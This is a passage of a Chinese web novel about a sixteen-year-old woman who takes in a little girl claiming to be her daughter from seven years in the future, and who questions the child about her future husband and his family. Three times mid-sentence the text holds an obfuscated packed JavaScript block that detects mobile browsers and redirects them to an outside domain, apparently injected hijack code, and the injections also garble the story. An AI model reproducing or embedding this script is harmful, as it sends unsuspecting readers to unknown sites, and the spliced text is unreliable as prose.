和叶醒枝印象中的孩童哭闹不一样,许是此时只有她一人、无人为她撑腰的缘故,小小的陆葵葵哭声也是小小的、轻轻的,不敢发出声音。 察觉到叶醒枝正在看她,陆葵葵的轻轻呜咽立即成了哇哇大哭,“娘亲是不认识葵葵了吗?” 她小手抹着泪,滚下来的泪珠却是抹不断,委屈极了,“娘亲出去那么久,是不是忘记葵葵了?” 豆大的泪珠一颗又一颗,仿佛流进了叶醒枝的心里,不知为何,看着陆葵葵眼泪汪汪,她也有些难过。 “别哭了。”朝小人儿走去,叶醒枝轻轻擦掉她眼角的泪珠,然后拿出帕子,擦去陆葵葵脸上的泪痕。 瘪着小嘴儿,陆葵葵抽噎地道:“娘亲…娘亲不记得葵葵了吗?” 边说话身子边抖,她肉乎乎的小手紧紧攥上叶醒枝的襦裙,“娘亲,葵葵不要去村长家里,葵葵要和你一块儿回家,呜……” 听着陆葵葵的哭声,叶醒枝心更软了几分,“小葵花”才三岁半,还没老李山上的杂草高,在这深山老林里,更是显得只有小小一团,那含着泪的眸子澄澈纯真,又透着可怜和依恋。 “你别哭,我就带你回家。”陆叶醒枝哄道。 “葵葵…葵葵不哭。”还是攥着叶醒枝的襦裙不松手,陆葵葵止住了哭泣,只是小肩膀还在一抖一抖。 叶醒枝最终还是没有把陆葵葵送到李村长家里,这个时间点村长不一定在家,上午有事外出,李村长傍晚回来应该也要到村里办白事的那两户人家吊唁,老李村姓李的人家,多多少少都有亲戚关系,还是给陆葵葵弄些吃食把她哄好了再带过去吧。 回到老宅,准备摆膳的阿杏好奇打量着圆脸小人儿,“小姐,这是谁家的孩子?” 叶醒枝还未回答,身旁的陆葵葵发出清脆的声音,“杏姨,我是葵葵呀!” “杏姨?”阿杏难以置信地看着陆葵葵。 她今年才十八岁啊,只比自家小姐长两岁,怎么就成姨姨了? 阿杏大受打击,“小姑娘,我很老吗?” “罪魁祸首”什么都不懂,还在认认真真地回答,“杏姨不老呦!” 这两声“杏姨”,把水灵灵的阿杏瞬间变成了干巴巴皱巴巴的杏干! 陆葵葵只是个三岁半的小孩儿,尴尬的人是叶醒枝,“不是不是,小孩子嘛,分不清年纪的。” 担心陆葵葵再口出“狂言”,叶醒枝转移话题,“她是我在山上遇到的,李婶子呢?” 李婶子是村里人,叶醒枝打算让李婶子帮忙打听陆葵葵爹娘的消息。 阿杏道:“李婶子提前做好晚饭又去亲戚家帮忙了。” “那先用膳吧。”看向陆葵葵,叶醒枝问道:“肚子饿不饿?” “饿啦!”陆葵葵用力点头,“娘……” 叶醒枝急忙比了个嘘声的手势,快速带着陆葵葵进去房间。 长长的眼睫眨了眨,陆葵葵不知道怎么了,她刚刚只是想对娘亲说肚肚饿了。 备好膳食,叶醒枝没让阿杏进来打扰,屋里只有她和陆葵葵两个人,等用过膳食,叶醒枝道:“葵葵,你为何会把我认成你娘亲?” 方才叶醒枝有特意观察,陆葵葵虽年幼,但进食很规矩,竟然会自己握着汤匙喝粥吃菜,无需她太费心照料,看起来不像是个会认错娘亲的小迷糊。并且,陆葵葵还一下子认出了阿杏,虽然把阿杏称呼成了“杏姨”,但也能说明陆葵葵对阿杏很熟悉。 如果她是“娘亲”,那么,对陆葵葵来说,称阿杏为“杏姨”并没有错。 “娘亲,你就是我娘亲,葵葵没有说谎!”虽然娘亲还是不记得她,但这一次陆葵葵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457995|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有哭。 见陆葵葵这般信誓旦旦,叶醒枝耐着性子道:“那你爹爹是谁,你们住在哪里?为什么会去老李山上?” 陆葵葵:“爹爹是县令,别人都叫他陆大人,爹爹娘亲还有葵葵住在县衙后院,葵葵也不知道为什么会在山上。是奶娘带着葵葵来的吗?我在给小葵浇水,然后就睡着了,睡醒后就在山上了!肯定是奶娘带着葵葵上山来找娘亲你啦!” “小葵?”抓住这个关键名字,叶醒枝诧异地道:“小葵是什么?” “是小花园里的向日葵啊!”陆葵葵奶声奶气地道:“娘亲笨笨,把小葵都忘了!娘亲,你不在家的这一个月,葵葵很听话哦,没有摘小葵的叶子,还给小葵浇了很多水,糕点也有给小葵吃。奶娘说等小葵开花了,娘亲你就能回家了,是不是小葵开花了?” 眉心蹙起,叶醒枝没有回答,这个答案,竟然和昨夜的梦全都对上了,“小葵…小葵怎么会吃糕点?那你奶娘呢?” “娘亲你说小葵有灵性,让葵葵保护好小葵,害怕小葵像葵葵一样肚肚饿,我就把透花糍埋进土里啦!”陆葵葵左右看了看,“对哦,奶娘呢?娘亲,奶娘也在山上吗?” “你没有见到你奶娘?”叶醒枝又问道。 陆葵葵摇摇头,小嘴叭叭说起了详细经过,“葵葵在小花园给小葵浇水,哭了好久好久,奶娘说去拿木马摇,眼睛痛痛,葵葵躺在地上睡着了,没有在山上见到奶娘。但葵葵看到小葵了,小葵变得好高好高啊!葵葵想找娘亲和爹爹,就离开小葵了。葵葵不知道这是哪里,走了好久终于看到娘亲了,太好啦!” 在老李山上遇到陆葵葵后,叶醒枝有往前走一段路出声寻人,但没有任何回答。 陆葵葵口中的奶娘,并不在山上,山上只有陆葵葵一个人。 陆葵葵是从山神庙附近走下来的,被她在山道上遇到。 叶醒枝心想,如果这一切只是巧合或者人为,有人能操纵她的梦境,再找一个和梦里名字一样的小姑娘被她偶遇,这其实是不太可能实现的,况且也没必要如此行事,她又不是什么高门贵女,值得别人如此费心算计。 叶醒枝继续打听,“你知道你爹爹叫什么名字吗?” “娘亲,你把爹爹也忘记了吗?”小嘴巴鼓鼓,望着叶醒枝,陆葵葵眼睛里涌出水汽。 叶醒枝:……何止是忘记,她清清白白都不认识陆葵葵她爹啊! 担心小家伙又要哭,叶醒枝赶忙哄道:“没有忘,我只是考考你嘛!” 水汽散去,陆葵葵鼓鼓的小嘴巴绽放出笑意,兴致勃勃地道:“爹爹叫陆时安,时辰的时,安全的安。” 陆时安? 叶醒枝惊诧万分,又和梦中的名字对上了! 4. 是她的女儿 一听说要考考她,无需叶醒枝出声,陆葵葵掰着小手指继续道:“娘亲叫叶醒枝,住在思南县县衙后院,爹爹是县令,葵葵不能和爹爹、娘亲、奶娘以外的人出去玩儿,要是葵葵找不到爹爹和娘亲,被坏人抓走了,要到县衙找爹爹!外祖母叫李庭芳,有两个外祖父,一个叫叶,一个姓赵,赵家大舅舅叫赵言信,小舅舅叫赵言善。娘亲,葵葵都记着呢,葵葵棒不棒?” “小葵花”仰着小脸儿等着表扬,叶醒枝挤出一抹笑,“棒,很棒!” 她心里的震惊却是难以言表,陆葵葵说得丝毫不差,她的母亲确实叫李庭芳,改嫁到赵家,赵家是商户,怀有两子,大的那个叫赵言信,算算时间,第二个孩子就快要临盆,母亲给她写的信中提过,第二胎若是个儿子就取名为“言善”,商人当重信行善。 母亲改嫁后远在汴州,非亲近之人,不该知晓这些的。 叶醒枝追问,“还有呢?你还记得什么?” “娘亲你爱吃栗粉糕、樱桃饆饠、酪樱桃,爱吃桃子、葱醋鸡、粟米饭,吃辣的会流好多鼻涕,不爱喝天浆……” 叶醒枝仔细听着,有些疑惑,其他都没有错,但是她挺喜欢喝天浆的啊,难道是几年后的她口味变了? 扑到叶醒枝的怀里,陆葵葵隔着襦裙点了点叶醒枝胸上之处,小声道:“还有,娘亲这里有个小点点,葵葵耳朵上也有一个。娘亲教过葵葵好多遍呢,娘亲说过要是哪一天葵葵走丢了,这就是我们认亲的证据。” 疑惑之色转为惊愕,叶醒枝急忙看向陆葵葵的左耳。 右手碰着陆葵葵的左耳,那柔软的耳珠上有一小小黑痣,而她的左胸上方,确实也有一个。 除了母亲李庭芳和贴身伺候她的阿杏,旁人并不知这件事。 叶醒枝有了八九分的相信,或许陆葵葵并没有说谎。 极度的震惊让叶醒枝此刻没有多少反应,怀里的陆葵葵却动了动小身子,“娘亲,葵葵困了。” 叶醒枝慢慢回过神,轻声道:“好,睡觉。” 给陆葵葵洗澡的时候,许是困极了的缘故,她很是听话。阿杏要给陆葵葵洗澡,叶醒枝没让她帮忙,这是她自己的女儿,还是她自己操劳吧。 心烦意乱给陆葵葵洗着小身子,湢室里叶醒枝一言不发,清盈盈的水从她手心流到小人儿白嫩嫩的肩膀和胳膊上,一捧又一捧,随着时间,叶醒枝混乱如线团的思绪逐渐平静。 今天一天她吃惊、震惊了无数次,再继续下去,也是无济于事。 平常都是奶娘照顾陆葵葵,但爹爹和娘亲有时候也会给她洗澡,今天的娘亲格外不一样,给她洗身体的力道和往常不一样,也不和她说话,娘亲好像在生气! 陆葵葵看了叶醒枝好几眼,不敢说话,安静玩着水。 叶醒枝从焦躁的情绪里脱离出来,眸子微垂,泡在水里的“小葵花”是她的女儿,又白又软,乖巧可爱,除了身上有几个红疙瘩、脸上有几道红印子,再没有其他伤痕。 挠了挠胳膊上的红疙瘩,陆葵葵忍不住道:“娘亲,痒痒。” “应该是在山上的时候被虫咬了。”叶醒枝用指腹帮她轻轻挠了几下,快速洗干净,把“小葵花”从湢室抱了出来,找来清凉膏仔细涂抹。 “不痒啦!”陆葵葵开心了。 把清凉膏放在一旁,叶醒枝问道:“脸上的印子是怎么回事?” 陆葵葵扣着手指头,“葵葵说了娘亲不要生气。” 叶醒枝温声应下来,“当然不会生气。” 圆溜溜的大眼睛看着叶醒枝,陆葵葵道:“是和张茂茂打架弄的。” 叶醒枝不解,“为什么打架?张茂茂又是谁?” 陆葵葵眨眨眼睛,娘亲把张茂茂也忘记了,娘亲出了一趟门,忘记了好多人啊,不过,娘亲不记得张茂茂挺好哒! “张茂茂的爹爹是张主簿,和爹爹一样都在县衙里。娘亲回老家祭拜舅姥爷,好长时间都没回来,爹爹说路上有流民,他去接娘亲回家,让葵葵在府里乖乖听话。张茂茂来找葵葵玩儿,葵葵没有银子,给他吃透花糍,想借他的小木剑,他不给葵葵,张茂茂和他娘亲还非说娘亲你死了,说葵葵是没了娘的小葵花。”说到这儿,陆葵葵眼眶红了起来,“张茂茂还说葵葵要有后娘了,后娘会不给葵葵饭吃,要拿针扎葵葵。爹爹做的木马摇和娘亲给葵葵买的珠花,也都会被后娘抢走。” 泪珠不停打转儿,当时的恐惧与害怕,还留在陆葵葵的心里,“然后…然后葵葵就和张茂茂打架了,张茂茂是个坏.蛋,葵葵不要和他玩了,葵葵就知道娘亲你没有死!呜呜……” 小人儿扑到她怀里落着泪,同样难受的人还有叶醒枝,这些恐吓人的话,对陆葵葵来说,定是比天塌了还要可怕! 六岁时叶醒枝的父母和离,这十年来叶醒枝知道“没了娘”是什么感受,而陆葵葵今年才三岁半,是要比她委屈难过十倍百倍! 陆葵葵定然不知道“锥心之痛”这四个字,但对陆葵葵来说,失去娘亲,还被人恐吓嘲讽即将有后娘,那便是锥心之痛了。 “不哭不哭!”叶醒枝又心疼又生气,“对,娘亲没有死,娘亲好好的,我们不和他玩了!葵葵,你做得很棒,你是在维护娘亲,是个好孩子,娘亲怎么会生气呢?” 如果当时她在,一个熊孩子敢这么欺负她的女儿,她早拎着张茂茂去找他娘亲讨说法去了!哼,这笔账她记下了,等以后遇到张茂茂和他娘亲,叶醒枝是不会善罢甘休的! 轻轻吹了吹小人儿脸上的红印,叶醒枝问道:“疼不疼?” “不疼啦!”陆葵葵笑起来,杏眼弯如月牙儿。 找到了娘亲,娘亲给她呼呼喽,她一点儿也不疼啦! 娘亲还夸她是好孩子,要是张茂茂再欺负她,说她和娘亲的坏话,她还要打回去! 好在备的有药膏,阿杏拿来药膏,叶醒枝给陆葵葵脸上的红印子上了药,“以后有人欺负你,你来找娘亲或者是找其他大人,娘亲会保护你的。葵葵,你受伤娘亲是会心疼的。” 陆葵葵乖乖应了声好,无需叶醒枝哄睡,躺到榻上她那圆溜溜的大眼睛就阖上了。 不过是几息间就睡着了,小孩子入睡都这么快的吗?叶醒枝惊讶了一番。 叶醒枝也准备沐浴,不过去湢室前,她从笥柜里拿出一本札记。 看到诗词佳句,叶醒枝会摘抄下来,但她日常没有写札记的习惯,翻开只有十多页有内容,记录的是一些重要的、需牢记的、或是奇特到令叶醒枝印象深刻的人与事,以防忘记。 翻到最新一页,叶醒枝在上面写下了在老李山上遇到陆葵葵、陆葵葵从七年后穿回来的事情,把陆葵葵的父亲叫做陆时安是个县令也记下来了,当然,那几本把她和陆葵葵写成反派的话本子也没有被叶醒枝忘掉,同时还有最后一句,“张茂茂及其娘亲张主簿夫人,欺负葵葵,待日后遇到,定要出气!” 落款日期,叶醒枝把札记放回了笥柜里。 遇到张茂茂和其娘亲,应当是几年后的事情,这样一来,她就不会忘记了。 给陆葵葵出气是必须的,她可是很记仇的! 经过梨木桌,看到桌子上放着的葵花小包,犹豫一下,叶醒枝拿了起来。 这是陆葵葵的小包,小包精致可爱,绣着一朵又大又圆、灿烂金黄的葵花,还绣了几片葵叶,等看到右下角的“枝上叶”时,叶醒枝一愣,那是一段小小的树枝,枝上缠绕着一片绿色叶子。 这个图案,叶醒枝很是熟悉。 给自己或者亲近之人绣东西、写信作画,她有时会用“枝上叶”来代表她的名字,只对极亲近之人才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她要如何照顾陆葵葵?如何掩饰陆葵葵的身份?如何带着陆葵葵回到叶府一起生活?如何给她提供衣食无忧、平平安安的生活?如何找到陆葵葵的爹爹陆时安?若找不到陆时安,又没有亲生母亲的帮助,她一个人该如何抚养自己的女儿?若陆时安并非良配,她又要如何解决?七年后那些爱慕陆时安的女子故意在话本子里诋毁她和陆葵葵,这也是个麻烦。 问题铺天盖地涌来,陆葵葵的出现,对于叶醒枝来说,是个天大的麻烦。 银钱上暂时不用担心,有舅舅的遗产和母亲李庭芳留给她的嫁妆,只要开源节流,不至于让陆葵葵饿肚子,但也只是如此。叶醒枝并非权贵之女,也不是挥金如土的商贾,无法给陆葵葵提供富贵无忧的生活。 这还不是最棘手的,叶醒枝在叶府的处境算不上好,为了能让她找一门好亲事,父亲叶显山甚至不愿意放她回乡操办舅舅的后事,府里的周姨娘和庶妹又是个不安分的,这种情况下,并不适合带着陆葵葵回到叶府,可叶醒枝没有其他的法子。 对于父亲叶显山来说,叶醒枝是“摇钱树”,需要嫁得好帮衬娘家;在周姨娘和庶妹眼中,叶醒枝是“眼中钉”。而一旦陆葵葵跟着她回到长安,陆葵葵的存在,便和她反过来了。 陆葵葵是拖油瓶,会影响到叶醒枝高嫁,而周姨娘和庶妹应该会很乐意,借此生事是必然的。 一半是为自己焦虑,一半是担忧陆葵葵,叶醒枝叹口气,好烦啊! 为什么这般离谱之事要发生在她身上?她是自幼就对鬼故事和志怪话本子感兴趣,但不代表她想要亲身经历一次! 不会是因为她在梦中看到的那些话本子里她和三岁半的陆葵葵都是反派,天道听错了“民意”,才让她这个大反派遭此一劫吧? 话本子害人啊! 叶醒枝翻来覆去睡不着觉,不过,小孩子想找娘亲,阴差阳错来到了七年前,这也不是陆葵葵的错! 算了,叶醒枝不再让自己想这些掉头发的事情,正准备歇息,她突然又想起一件事,陆葵葵会不会尿床? 不得不从榻上爬起来,叶醒枝唤醒阿杏,找了一件自己的旧衣。 夜深,灯下,两人一个苦大仇深,一个睡眼惺忪,拿着剪子裁尿布。 给小反派陆葵葵当娘亲的第一个晚上,从做尿布开始! 5. 渣男夫君,公媳矛盾 第二天清晨,感受到怀里如棉花般柔软的小人时,叶醒枝的困意瞬间散了大半,双眸一下子就睁开了。 她还不适应给人当娘亲,昨天晚上和陆葵葵分开睡的,但这会儿陆葵葵跑到了她的被窝里。 “娘亲,你醒啦!”陆葵葵清脆的一声,发现叶醒枝睁开了眼睛。 看陆葵葵如此有活力,叶醒枝轻声道:“你醒多久了?怎么不喊我起来?” “醒了好久好久,爹爹说过不让葵葵喊娘亲起床。”方才陆葵葵在玩被角,过一会儿再看看帐子上的图案,等着叶醒枝起床。 叶醒枝还不习惯从陆葵葵口中听到“爹爹”两个字,“为什么?” 陆葵葵:“爹爹说娘亲只有睡饱了,才能有精神和葵葵玩,不然娘亲会把火发到爹爹身上的。” 叶醒枝忍不住笑了一声,没想到自己嫁人后还能睡到自然醒,看来陆时安这个人还算可以。 虽然知道了葵葵她爹爹的名字,但叶醒枝并不认识姓陆之人,自然也不会认识陆时安,她打听道:“你爹爹多大了,脾气好吗?” 陆葵葵没有回答,而是紧紧抱着叶醒枝,“娘亲,你想起来葵葵了吗?” 不想让小家伙伤心,叶醒枝笑着道:“想起来啦!” 虽然娘亲说把她想起来了,也没有忘记爹爹,但陆葵葵还是感觉不对劲,她总觉得娘亲把爹爹还有她都忘记了,但她脑袋小小,想不明白,“爹爹是县令,爹爹很厉害,好多人来找爹爹做主。娘亲说爹爹很辛苦,不能经常在家吃饭。爹爹的脾气很好,从来不打葵葵,还给葵葵做木马摇,但张茂茂他们都很害怕爹爹。就是因为爹爹不在家,张茂茂才敢来欺负葵葵!” 陆葵葵想,娘亲忘记了爹爹和她也没关系,她要待在娘亲的身边哪里都不去,这样娘亲就能想起她和爹爹啦! 听陆葵葵这么一说,叶醒枝对未来夫君陆时安有了几分满意,“那你爹爹和我吵过架吗?” 陆葵葵刚要摇头,突然想起一件事,小脸儿皱成了包子,“有时候爹爹会去书房睡觉,他说是他惹娘亲生气了!这次娘亲一个人回乡,爹爹也说他不该和娘亲你吵架,让你一个人回去,爹爹坏!” “要是爹爹不和你吵架,娘亲你就不会遇到坏人了!” 叶醒枝生出的几分满意又消失了,既然会吵架,看来她和陆时安的相处也没有很和睦嘛! “你爹爹会打人吗?打过我和你没有?”叶醒枝道。 “爹爹不打葵葵。”陆葵葵奶声奶气地道:“爹爹和娘亲打架,不过葵葵打过爹爹啦,娘亲不要怕怕。” 叶醒枝“啊”了一声,“你爹爹还打我?” 这可太吓人了! 叶醒枝急忙问道:“我们两个为什么打架?” 陆葵葵摇摇头,“有一次葵葵来找娘亲,娘亲脸红红的,说在和爹爹打架。还有一次葵葵想摘树上的果子,去书房找爹爹,爹爹和娘亲抱在一起,爹爹捂着眼睛不让葵葵看,说你们两个在打架。” 陆葵葵挥了挥小拳头,“葵葵打爹爹了,娘亲不怕嗷!” 叶醒枝轻咳一声,脑中多了一些不可言说的想法,这是真打架还是假打架? 陆葵葵认真的神情和小拳头,让她觉得她和未来夫君陆时安是在真打架,可陆葵葵的话,又让她不得不想歪。 话本子看多了也不太好,叶醒枝有些尴尬,“你爹爹多大了?” 希望不是个糟老头子! “爹爹…比娘亲大两岁。”想了想,陆葵葵伸出两根手指。 会有坏人偷小孩儿,爹爹和娘亲叫什么名字、住在哪里,这些事情爹爹和娘亲对陆葵葵说过很多遍,她都记得呢。 大两岁,那陆时安今年十八了,叶醒枝又问道:“你爹爹平日常看书还是打拳?” 陆葵葵:“爹爹爱看书,葵葵睡觉前,爹爹和娘亲会给葵葵讲书里的故事。娘亲也爱看书,不过娘亲看的时候不让葵葵看。” 叶醒枝:…… 她不了解陆葵葵还不了解自己吗?不能让小孩子看的书,那肯定只有话本子了。 叶醒枝脸有些热,不是天气太暖和,是她此刻太尴尬,幸好陆葵葵才三岁半,不然她可丢人丢大发了! 面上依旧一本正经,叶醒枝道:“那些书不好看,娘亲不看了!” 说到话本子,叶醒枝突然想起来,“葵葵,可是有些话本子里把我和你写出了坏人?” 话本子? 陆葵葵记着呢,“奶娘说那些话本子是坏人写的,把葵葵写成了坏葵葵,把娘亲写死了,张茂茂说他娘也看过这些话本子,还说有好多人想当葵葵的后娘!” 哦豁,还真有那些话本子啊! 陆时安喜读书又是个县令,想来是个读书人,赖着不想起床,叶醒枝又问了陆葵葵许多问题,也打听了陆葵葵外祖母、外祖父和两个舅舅的情况。 叶醒枝还不忘摸了摸另一个被窝里的尿布,临睡前她抱着陆葵葵去了恭房一次,许是昨天哭太多消耗了水分,陆葵葵夜里没再起夜,幸运的是,一夜过去,陆葵葵也没有尿床。 等用过早膳,叶醒枝拿出葵花小包里的长命锁求证,“葵葵,这是你的长命锁吗?” 陆葵葵:“是哒,是祖父给葵葵的。” 叶醒枝又问道:“那上面的字你知道吗?” 陆葵葵用力点头,“平安无虞,喜乐长福,葵葵有记住嗷,这是爹爹和娘亲刻的。” 娘亲和爹爹对她说过这些,奶娘也对她说过。 没有猜错,果真是她和陆时安刻的,叶醒枝把长命锁收起来,“那你怎么装在小包里?” “爹爹去找娘亲你了,葵葵也想去,出门得带上吃的和银子,葵葵就把透花糍和长命锁都带上啦,娘亲你说过能换很多钱呢!”陆葵葵鼓鼓嘴,“葵葵只有这些,要去找娘亲,可是奶娘不让葵葵出去!外头有坏人,张茂茂找葵葵,葵葵想要他的小木剑,帮爹爹和娘亲赶走坏人,但是张茂茂不给葵葵,还打了葵葵。” 怔愣之后,叶醒枝的心软乎乎的,柔和的春风像是从窗棂外吹进她的心中。 原来是这样,陆葵葵和张茂茂打架的起因,用透花糍来向张茂茂借小木剑,不是为了自己玩儿,而是要带着小木剑去寻她、保护她。 小孩子的想法幼稚天真,却最是纯粹。 陆葵葵不知道自己的娘亲去了哪里,外面有坏人也没关系,她会背着娘亲做的葵花小包,带上自己爱吃的糕点和最值钱的长命锁,去找小伙伴借小木剑,去找她的娘亲! 这一刻,叶醒枝心里涌出的爱意、心疼和喜欢,把那些萦绕不散的烦躁和抗拒压了下去。 昨天夜里她还因此失眠,想着没有发生这些该有多好,陆葵葵不曾出现该有多好,她盼着一切回到正轨,但得到了这个她怎么也没想到的答案后,叶醒枝不这么想了。 陆葵葵爱吃的透花糍香甜软糯,便是叶醒枝此时此刻的感受,她的女儿有寻找她的勇气,很爱很爱她,那么,她也想保护好自己的女儿! 摸了摸陆葵葵的小脑袋,叶醒枝那和陆葵葵一样的杏眼笑意弯弯,“谢谢葵葵,你最后还是找到娘亲啦!” * 前天的“噩梦”里,那株会说话的向日葵没有说错,突然多出来一个从七年后穿回来的女儿,叶醒枝确实接受良好。 打小叶醒枝就爱听长辈们讲鬼故事,长大后也看了不少志怪话本子,对于那些稀奇古怪的事情,八分怀疑的同时,她也有两分的相信。 穿越一词,叶醒枝不是第一次听说,当今圣上继位前,大陈朝曾有两位不拘一格、仁德开明的女帝,是以,就连志怪话本也不再像前朝那样老套无趣。有本话本子的主角是一个女妖,在其人类夫君枉死后,女妖苦心修炼,用法术回溯时光,去到灾祸发生前拯救了夫君。百年后,女妖行善积德,飞升成仙。 十六岁的她,遇到了穿越回来的三岁半的女儿,也是一种机缘。 有了女儿,当然要好好了解了解葵葵她爹! 关于陆时安,叶醒枝有了大致了解,陆时安比她年长两岁,书房里有很多书又喜看书,应当是读书人,进士及第后成了思南县的县令。虽不知思南县是上县还是中下县,但二十五岁便是一县县令,日常又政务繁忙,可称一句年少有为。 对于妻女,婚后能让叶醒枝睡到自然醒,又给陆葵葵做木马摇,在家里甚少发火,此人的品行应当不算太差。还有一点,从其女观其父,稚童会受双亲的影响,陆葵葵聪颖乖巧,口齿伶俐,说明其父亲即便不是十分有才华有修养之人,也没有太拖后腿。 不过,显然陆时安是个招桃花的,不然她和陆葵葵也不会被塑造成话本子里的恶毒反派! 除了陆时安本人,叶醒枝还得打听她未来的公婆,“葵葵,你说这个长命锁是你祖父给你的,你祖父他疼你吗?” “祖父很疼葵葵,每年过生辰,都会送几马车的东西给葵葵,都交给娘亲你保管了,祖父他还偷偷来看葵葵,带着葵葵……”说到这儿,陆葵葵突然反应过来,赶忙捂住小嘴巴。 偷偷? 叶醒枝意识到不对劲,“葵葵,这是怎么回事,你为什么要捂嘴巴?” 像是被霜打的叶子,陆葵葵乖乖道:“葵葵骗了娘亲,娘亲你不要生气。” “祖父说他对不起爹爹和娘亲,你们都不想见到他,但他很想葵葵,想知道葵葵长什么样,就偷偷从长安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457997|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来了。有一次出去玩儿,葵葵在街上遇到了祖父,祖父带着葵葵吃了好多好吃的,还让葵葵不要把这件事情说出去。祖父说他腿脚不好,年纪大了没人陪,爹爹和娘亲知道了会把他赶走的,葵葵见祖父很可怜,就和祖父拉勾了。” 陆葵葵在思南县出生,从未没见过祖父和祖母,看到张茂茂他们有长辈们的疼爱,陆葵葵很羡慕,不想让祖父被赶走,就没有把这件事告诉爹爹和娘亲。祖父还给她买了一匣子各种口味的糖,有藕丝糖、陈皮糖,好甜呢! 不过娘亲不让她吃糖,陆葵葵只偷偷装进葵花小包里五六个,剩下的没有要,都还给了祖父。 哦豁,这陆家的情况听起来还挺复杂,她和陆时安都不愿意见到陆葵葵的祖父,估计陆葵葵的祖父做过很过分的事情。 陆葵葵一个小人儿看不出来,但很显然为了能留下来和陆葵葵见面,她祖父是在故意装可怜。 叶醒枝又问道:“那你祖母呢?” 陆葵葵摇摇头,“祖母去世很多年了,爹爹说等以后调回长安,带着葵葵去给祖母磕头。” 没有婆婆,叶醒枝道:“那你祖父是什么官职?你爹爹是县令大人,你祖父是比县令还要大的官吗?” 陆葵葵:“祖父是将军。” 姓陆的将军,叶醒枝迅速在脑中过了一遍,“是什么将军?” 陆葵葵:“就是将军啊,娘亲你说祖父是大将军,打了好多仗,后来祖父的腿腿受伤了,不能上战场了,走路也走不稳,祖父很可怜的。” 提起祖父,陆葵葵又开始想她祖父了,“奶娘不认识祖父,葵葵和奶娘出去玩的时候,祖父就在后面跟着,葵葵能和祖父一起玩儿。祖父走的时候,和葵葵拉了勾,明年还会来看葵葵的。” “娘亲,葵葵知错了,不该骗娘亲,等祖父来了,你不要赶祖父走好不好?” 原来这么乖巧的小人儿,也是会骗人的,叶醒枝道:“好,我不赶,但你再见到你祖父,要告诉娘亲,以后也不能再说谎喽。” 叶醒枝思忖,葵葵的奶娘不认识其祖父,那么,这位奶娘很有可能是思南县本地人,也就是说,等她与陆时安成亲后,陆时安到了思南县当县令,她才有喜生下了葵葵。 葵葵的祖父在长安,而葵葵出生后他们一家三口在思南县,偷偷和祖父见的那一面,是葵葵第一次见到其祖父,可见两人平日甚少接触,几年后的自己又和葵葵的祖父关系不睦,许是不会经常提及。或者还有其他原因,但现在的叶醒枝无从得知。 是以,仔细问了一通,叶醒枝没有得到太多消息。 不过,这样已经很好了,陆葵葵才三岁半就口齿伶俐,还记得这么多事情,出乎叶醒枝的意料。有一年上元节,她和阿杏阿竹夜里去赏灯,街上有一男童走丢,已经四岁多了,对着巡逻的京兆府差役还说不出来自己家住哪里。 老子是大将军,负伤后腿脚不便,儿子叫陆时安是个读书人,想来想去,叶醒枝在长安一众武将中找不到符合的人选。 叶醒枝的父亲叶显山是文官,和叶府往来密切的也多是文官,对于长安的武将,叶醒枝所知不多,有不少“漏网之鱼”是她不知道的,许是陆葵葵的祖父就在其中。 并且,三品的大将军是将军,从九品的校尉也可以称一声将军,别说整个大陈朝,光长安城里姓陆的“将军”,没有十个估计也有八个。亦或是陆葵葵祖父的官职不仅仅是将军,陆葵葵所言有误。总之,并不知晓具体的官职,如此一来,没有办法确定人选。 当然,还有一种最坏的可能,陆葵葵见到的祖父其实是个骗子,并不是其祖父。有一个县令爹爹,陆葵葵在思南县应当“名气”不小,从她下手应当能骗不少银钱。 得知的消息有限,叶醒枝梳理一番,日后她和陆时安成亲,存在的问题估摸着有三点,一是两人时有争吵,还有打架,许是不能举案齐眉;二是没有婆媳矛盾,但公媳矛盾是有的。就连她的未来夫君陆时安都和自己的亲爹不亲近,可以用众叛亲离来形容,有这么一个公公在,又怎能让人舒心? 第三点,也是问题最大的一点,陆时安很是招桃花,他的爱慕者颠倒黑白,写话本子来诋毁叶醒枝和陆葵葵,败坏叶醒枝和陆葵葵的声誉。 叶醒枝成了大反派,三岁半的陆葵葵成了小反派,母女俩甚至还有可能因此遭遇劫难! 离谱又让人厌恶,一想到这些,叶醒枝没了继续打听的兴趣。 有个会吵架打架、招桃花的“渣男”夫君,还有一个糟心的公公,这不是一门十全十美的亲事。 当务之急,陆葵葵穿到七年前没有户籍,叶醒枝得想法子给她弄一个合理的身份,总不能让“小葵花”当隐户。 6. 托梦,养女 户籍文书不是说有就能有的,需隐瞒身份,长命锁暂时不能让陆葵葵带上,叶醒枝想来想去,只有一个合适的法子,那就是收养陆葵葵为舅舅的养女,对外称是给舅舅留一个能烧香扫墓的后人,然后叶醒枝再把陆葵葵带回长安,只有这样,才能给陆葵葵办下户籍。 